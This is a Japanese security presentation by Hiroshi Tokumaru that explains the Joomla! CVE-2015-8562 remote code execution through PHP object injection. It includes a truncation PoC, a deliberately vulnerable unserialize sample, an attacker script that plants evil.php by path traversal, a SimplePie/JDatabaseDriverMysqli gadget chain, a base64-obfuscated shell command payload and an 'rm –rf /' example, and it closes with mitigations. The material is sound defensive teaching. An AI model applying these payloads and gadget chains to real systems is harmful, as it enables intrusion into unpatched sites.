More Related Content Similar to 脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに (20) More from Hiroshi Tokumaru (11) 脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに2. 徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月)
「徳丸浩のWebセキュリティ教室 」(2015年10月)
– 技術士(情報工学部門)
2
11. コードの差分から
diff -r -u joomla-3.4.5/libraries/joomla/session/session.php joomla-3.4.6/libraries/joomla/session/session.php
--- joomla-3.4.5/libraries/joomla/session/session.php 2015-10-21 17:48:16.000000000 +0900
+++ joomla-3.4.6/libraries/joomla/session/session.php 2015-12-14 14:42:12.000000000 +0900
-
- // Check for clients browser
- if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
- {
- $browser = $this->get('session.client.browser');
-
- if ($browser === null)
- {
- $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
- }
- elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
- {
- // @todo remove code: $this->_state = 'error';
- // @todo remove code: return false;
- }
+ // Record proxy forwarded for in the session in case we need it later
+ if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'],
FILTER_VALIDATE_IP) !== false)
+ {
+ $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
-
return true;
} 11
19. MySQLの仕様確認
$ mysql test -u root -p
mysql> CREATE TABLE test (test varchar(256))
DEFAULT CHARSET=utf8;
mysql> INSERT INTO test VALUES ('今日のお昼は吉野家にするよ');
mysql> INSERT INTO test VALUES ('今日のお昼は𠮷野家にするよ');
mysql> SELECT * FROM test;
+-----------------------------------------+
| test |
+-----------------------------------------+
| 今日のお昼は吉野家にするよ |
| 今日のお昼は |
+-----------------------------------------+
2 rows in set (0.00 sec)
19
𠮷野家から先がなくなる
UTF-8の4バイト文字を登録しようとすると、そ
の文字を含め、それ以降が切り詰められる!!
23. PoC
<?php
class Obj1 {
public $pub = 1;
}
session_start();
// User-Agentをセッション変数にセット
$_SESSION[‘example’] = ‘user_agent|O:4:“Obj1”:1:{s:3:“pub”;i:1;}𠮷野家';
$sess_data = session_encode(); // セッションデータを取り出し
var_dump($sess_data); // 表示
$sess_data = str_replace(‘𠮷野家’, ‘’, $sess_data); // 「𠮷野家」を切り詰め
var_dump($sess_data); // 表示
$_SESSION = array(); // 一旦セッションを空に
session_decode($sess_data); // 切り詰めたセッションデータを戻す
var_dump($_SESSION); // セッション変数を表示
23
28. デシリアライズによるコード実行脆弱性は意外に多い
• Apache Commonsのcollectionsの問題にまつわる一連の脆弱性
– Weblogic: CVE-2015-4852
– WebSphere: CVE-2015-7450
– Jenkins: CVE-2015-8103
– Groovy: CVE-2015-3253
• Ruby On Rails XML Processor YAML Deserialization Code Execution
Vulnerability(CVE-2013-0156)
• FuelPHP において任意のコードが実行される脆弱性(CVE-2014-1999)
• CakePHP の _validatePost 関数における内部 Cake キャッシュを変更さ
れる脆弱性(CVE-2010-4335)
• Joomla!の任意コードが実行される問題(CVE-2015-8562)もこの系統
Copyright © 2016 HASH Consulting Corp. 28
30. 脆弱なサンプル
<?php
require_once 'Logger.php'; // ログ出力クラス
if (empty($_COOKIE['status']))
die('クッキーが空です');
$status = unserialize($_COOKIE['status']); // デシリアライズ
// 以下バリデーション
if (! is_array($status))
die('statusは配列が必要です');
// 以下表示
echo 'height : ' . htmlspecialchars($status['height']) . '<br>';
echo 'weight : ' . htmlspecialchars($status['weight']) . '<br>';
echo 'sight : ' . htmlspecialchars($status['sight']) . '<br>';
Copyright © 2016 HASH Consulting Corp. 30
31. 脆弱なサンプル(続き)
<?php // Logger.php
class Logger {
const LOGDIR = '/tmp/'; // ログ出力ディレクトリ
private $filename = ''; // ログファイル名
private $log = ''; // ログバッファ
public function __construct($filename) { // ファイル名を指定
if (! preg_match('/A[a-z0-9.]+z/i', $filename)) {
throw new Exception(‘Logger: ファイル名は英数字とドットで…');
}
$this->filename = $filename; // ファイル名
$this->log = ''; // ログバッファ
}
public function add($log) { // ログ出力
$this->log .= $log; // バッファに追加するだけ
}
}
Copyright © 2016 HASH Consulting Corp. 31
32. 脆弱なサンプル(続き)
public function __destruct() { // デストラクタではバッファの中身をファイルに書き出し
$path = self::LOGDIR . $this->filename; // ファイル名の組み立て
$fp = fopen($path, 'a');
if ($fp === false) {
die('Logger: ファイルがオープンできません' . htmlspecialchars($path));
}
if (! flock($fp, LOCK_EX)) { // 排他ロックする
die('Logger: ファイルのロックに失敗しました');
}
fwrite($fp, $this->log); // ログの書き出し
fflush($fp); // フラッシュしてからロック解除
flock($fp, LOCK_UN);
fclose($fp);
}
}
Copyright © 2016 HASH Consulting Corp. 32
33. 攻撃の準備
// 攻撃用スクリプト…攻撃者が使用
<?php
require 'Logger.php'; // ファイル名のバリデーションは無効に
$x = new Logger('../../../var/www/html/evil.php');
$x->add("<?php phpinfo(); ?>n");
setcookie('status', serialize($x));
以下のクッキーを生成する
Set-Cookie: status=O:6:"Logger":2:{s:16:"[NUL]Logger[NUL]filename";
s:30:"../../../var/www/html/evil.php";s:11:"[NUL]Logger[NUL]log";s:2
0:"<?php phpinfo(); ?>
Copyright © 2016 HASH Consulting Corp. 33
36. 任意スクリプト実行に悪用できそうなパターンを探す
• 下記のパターンが Joomla! に含まれないか?
• ドキュメントルート下に .php等の拡張子で任意の文字列が書き込みで
きる(先程の例)
• eval($this->foo); がある
– fooプロパティにPHPスクリプトをセットする
• system($this->foo); がある
– fooプロパティにシェルコマンドをセットする
• call_user_func($this->foo, $this->bar); がある
– fooプロパティに関数名、barプロパティに関数の引数をセットする
例: $this->foo = ‘system’;
$this->bar = ‘rm –rf /’;
36
37. call_user_func($this->foo, $this->bar);ならある
class SimplePie
{ // 中略
function init()
{ // 中略
if ($this->feed_url !== null || $this->raw_data !== null)
{
if ($this->feed_url !== null)
{
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this-
>cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
// 後略
37
call_user_func(
$this->cache_name_function,
$this->feed_url)
これらの if が全部通
るようにプロパティを
設定する必要あり
40. JDatabaseDriverMysqli のデストラクタを使う
class JDatabaseDriverMysqli extends JDatabaseDriver
{
public function __destruct() // デストラクタ
{
$this->disconnect();
}
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
40
$h が
0 => SimplePieオブジェクト
1 => ‘init’ となるように設定する
43. 000 の謎
class JSessionStorageDatabase extends JSessionStorage
{
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '000', $data);
// シリアライズされたデータ中に [nul]*[nul] が含まれる
// (protectedなメンバ)ので、それを 000 に変換している
// 文字列中に 000 が含まれると、それも [nul]*[nul]に変換されそう…
43
45. JFactory::getConfig(); の秘密
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
if ($this->cache && $parsed_feed_url[‘scheme’] !== ‘’) // この if文を通過する工夫
// scheme は以下の関数で取得
function parse_iri($iri)
{
preg_match('/^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(?([^#]*))?(#(.*))?$/', $iri, $match);
for ($i = count($match); $i <= 9; $i++)
{
$match[$i] = '';
}
return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' =>
$match[9]);
}
‘/^(([^:/?#]+):)? ← : / ? # 以外の文字
feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要
がある
45
46. JFactory::getConfig(); の秘密(続き)
‘/^(([^:/?#]+):)? ← : / ? # 以外の文字
feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 :
が続く必要がある
JFactory::getConfig(); は何もしていないが、コロン「:」を入れる必要が
あった
以下のような攻撃文字列でも、おk
touch `echo dG91Y2ggL3RtcC9vY2tlZ2hlbQ== | base64 -d`;:
/ が使えないので、パスをbase64エンコードして指定している
46
55. 対策
• PHPバージョンを上げる(サポート中の最新に)
– 5.4.45 以降の 5.4.x (サポート終了)
– 5.5.29 以降の 5.5.x (サポート終了)
– 5.6.13 以降の 5.6.x ○
– 7.0.0 以降の 7.0.x ○
– その他、Debian、Ubuntu、Fedoraなら最新のパッチで対応可
• Joomla! バージョン : 3.4.6以降(最新にすること)
• その他(保険的対策):
MySQLの設定: sql_modeにSTRICT_TRANS_TABLESまたは
STRICT_ALL_TABLESを指定(エラーになる)
55
56. オブジェクトインジェクションの一般的対策
• 根本対策
– 任意オブジェクトが生成できるコードを書かない
– 典型的には、外部からコントロールできる値をunserialize関数に処
理させない
– 文字列がオブジェクトに化けるような脆弱性(!)にパッチを適用する
• 保険的対策
– デストラクタでは複雑な処理を極力避け、後始末等もできれば明示
的に呼び出すようにする
– eval、system、call_user_func等を極力使わない
– 脆弱性対策は局所的な単位で行うようにする
Copyright © 2016 HASH Consulting Corp. 56